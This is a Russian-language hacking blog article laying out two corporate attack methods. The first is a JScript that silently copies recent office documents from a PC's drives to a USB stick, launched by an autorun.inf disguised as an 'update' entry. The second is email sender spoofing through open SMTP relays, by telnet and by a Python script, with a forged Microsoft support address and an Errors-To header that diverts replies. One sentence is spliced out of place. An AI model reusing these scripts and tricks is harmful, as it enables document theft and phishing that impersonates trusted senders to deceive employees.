Давай сделаем это по-быстрому
О контроле доступа подключаемых носителей администраторы задумываются далеко не всегда, а это значит, что утащить ценные данные может не только собственный работник, но и вообще любой человек, случайно оказавшийся у компьютера. Причем, чтобы не копаться вручную и не привлекать внимание своими лихорадочными действиями в «Проводнике», он вполне может подготовиться и сварганить скрипт, который сам просканирует доступные диски и отберет нужные файлы по заданным критериям. Написать подобную приблуду ничего не стоит на том же самом JavaScript'е. Попробуем сами. Сначала, с помощью вспомогательных переменных обозначим интересующие расширения файлов, которые нужно копировать, а также укажем давность обновления файла (более древние файлы будут просто игнорироваться):
var patch = /\.(doc|rtf|xls|txt)$/i;
var diff = new Date(2007,05,01);
Далее пишем класс, который будет рекурсивно обходить носители. Для каждого объекта проверяется расширение и дата создания, после чего принимается решение о его копировании на флешку:
var softwareEnumerator = new Enumerator(softwareFolder.Files);
softwareEnumerator.moveFirst();
for (; !softwareEnumerator.atEnd(); softwareEnumerator.moveNext()) {
if ((softwareEnumerator.item().Name.match(patch))
&&((Date.parse(softwareEnumerator.item().DateCreated) >= diff.getTime())
||(Date.parse(softwareEnumerator.item().DateLastAccessed) >= diff.getTime())
||(Date.parse(softwareEnumerator.item().DateLastModified) >= diff.getTime()))) {
try {
fso.CopyFile(## копируем файл в нужное место);
} catch (e) {
if (e.number == 61) {
WScript.Quit(0);
}
}
}
}Полную версию скрипта с обработкой исключений ты найдешь на нашем диске. Чтобы скрипт запускался автоматически, злоумышленник может забросить на флешку .inf-файл с информацией об автозагрузке. С помощью интерпретатора wscript он будет выполнять наш скрипт:
[autorun]
shellexecute=wscript autorun.js
shell=update
shell\update=Обновить
shell\update\command=wscript autorun.jsПремудрости правильной переписки
Пожалуй, нигде не найти более актуальной и ценной информации, чем в почтовых аккаунтах топ-менеджеров или даже рядовых сотрудников. Для доступа к ним злоумышленники порой идут на самые нестандартные решения и активно используют социальную инженерию. Пускай на простые уловки уже никто не идет, но и здесь свои премудрости. Вот что ты будешь делать, если от твоего непосредственного начальника придет письмо: «Пришли мне, пожалуйста, документ, над которым мы работали вчера»? Вероятно, ругнувшись на предметность разговора, вышлешь какой-нибудь файл, добавив на всякий случай вопрос: «этот?». А теперь повод для размышления: многие SMTP-серверы можно использовать как Relay и спуфить (подделывать) адрес отправителя. Тут есть свои ограничения, но в целом прием работает на ура. Напомню, что сделать это можно прямо через telnet:
telnet smtp_server 25
>220 smtp.*.ru ESMTP Sende-mail 8.9.3/8.9.3; Mon, 27 May 2002 17:38:54 +0400 (MSD)
helo smtp_server
>500 Command unrecognized: {{}helo smtp_server – нас послали
> 250 smtp.*. … , pleased to meet you – все, едем дальше
e-mail from: misha@real.xakep.ru
rcpt to: lamer@e-mail.ru
data пишем_текст [enter]
.
[enter]
250 RAA07552 Message accepted for deliveryПри удачном раскладе сообщение будет доставлено жертве с содержанием домена
real.xakep.ru в адресе отправителя. Конечно, трюк может и не удаться. Во-первых, SMTP-север может банально запретить релейинг или обслуживать пользователей из какой-то конкретной подсети IP-адресов. Во-вторых, злую шутку может сыграть пограничный транспорт или агент кодов. Если рассматривать ситуацию с Exchange Server 2007, то подмену сильно затрудняет так называемый код отправителя, который заносится в метаданные каждого сообщения. Получив почтовое сообщение, граничный транспортный сервер запрашивает сервер DNS отправителя, чтобы убедиться, что IP-адрес, с которого было получено сообщение, уполномочен отправлять сообщения на домен, указанный в заголовках сообщения. А анализ кода отправителя используется для оценки вероятности того, что присланное письмо не является спамом. Подобные механизмы дают неплохой результат и сильно осложняют процесс спуфинга.Но предположим, все провернули удачно, вписали в сообщение нужный текст и даже прикрепили опасный аттачик - как теперь получить от человека ответ? Указывать левый адрес в поле Reply-To – большое палево. Такой мейл тут же отобразится в почтовом клиенте и вызовет подозрения у более-менее подкованного юзера. Тут есть один хинт: вместо Reply-to можно использовать служебный заголовок Errors-To, указав адрес, на который будет отправлено письмо в случае ошибки. Если адреса, указанного в поле Reply-to, не существует (он может быть из доверенного домена), то письмо будет отправлено на адрес, указанный с помощью Errors-To.
To: jertva@mail.ru
From: Support <support@microsoft.com>
Reply-To:Support <technical.support@microsoft.com>
Errors-To:Support moe_milo@mail.ruВ нашем случае, если адреса
Сначала подключаем необходимые модули:
technical.support@microsoft.com не существует, то письмо будет перенаправлено на moe_milo@mail.ru. Удобно это тем, что жертва может посмотреть заголовок Reply-To в клиенте, но ни один клиент не покажет заголовок Errors-To – если, конечно, не посмотреть все header'ы письма. Теперь подумаем, как сконструировать такие заголовки без заморочек (с telnet или netcat можно капитально намучиться). Для решения проблемы подойдет любой язык программирования, худо-бедно поддерживающий работу с SMTP. Мы будем использовать Python, – с SMTP он работает очень даже неплохо :).Сначала подключаем необходимые модули:
import smtplib, sys, MimeWriter, mimetypes, mimetools, base64Далее колдуем с заголовками сообщения, указывая нужные адреса в Reply-To и Errors-To и используя специальный метод addheader():
writer = MimeWriter.MimeWriter(message) #вызов функции для подготовки импорта почтовых заголовков
writer.addheader('To', to)
writer.addheader('From', sender)
writer.addheader(‘Reply-To’, ‘usual@mail.ru’) #сюда придет ответ после спуфинга
writer.addheader('Subject', subject)
writer.addheader('MIME-Version', '1.0')
writer.startmultipartbody('mixed')Теперь добавляем само сообщение:
part = writer.nextpart()
body = part.startbody('text/plain')
part.flushheaders()
body.write(text)И последний этап - собственно отправляем письмо, используя функцию sendmail():
smtp = smtplib.SMTP(SERVER, PORT)
smtp.set_debuglevel(1)
smtp.sendmail(sender, to, message.getvalue())
smtp.quit()Полную версию скрипта, в том числе, с частью кода, отвечающего за работу с аттачами, ты найдешь на DVD. Вот такая корпоративная уловка – диалоги о природе и птичках со службами ИБ различных компаний велись, благодаря этим трюкам, целыми сутками.
Комментариев нет:
Отправить комментарий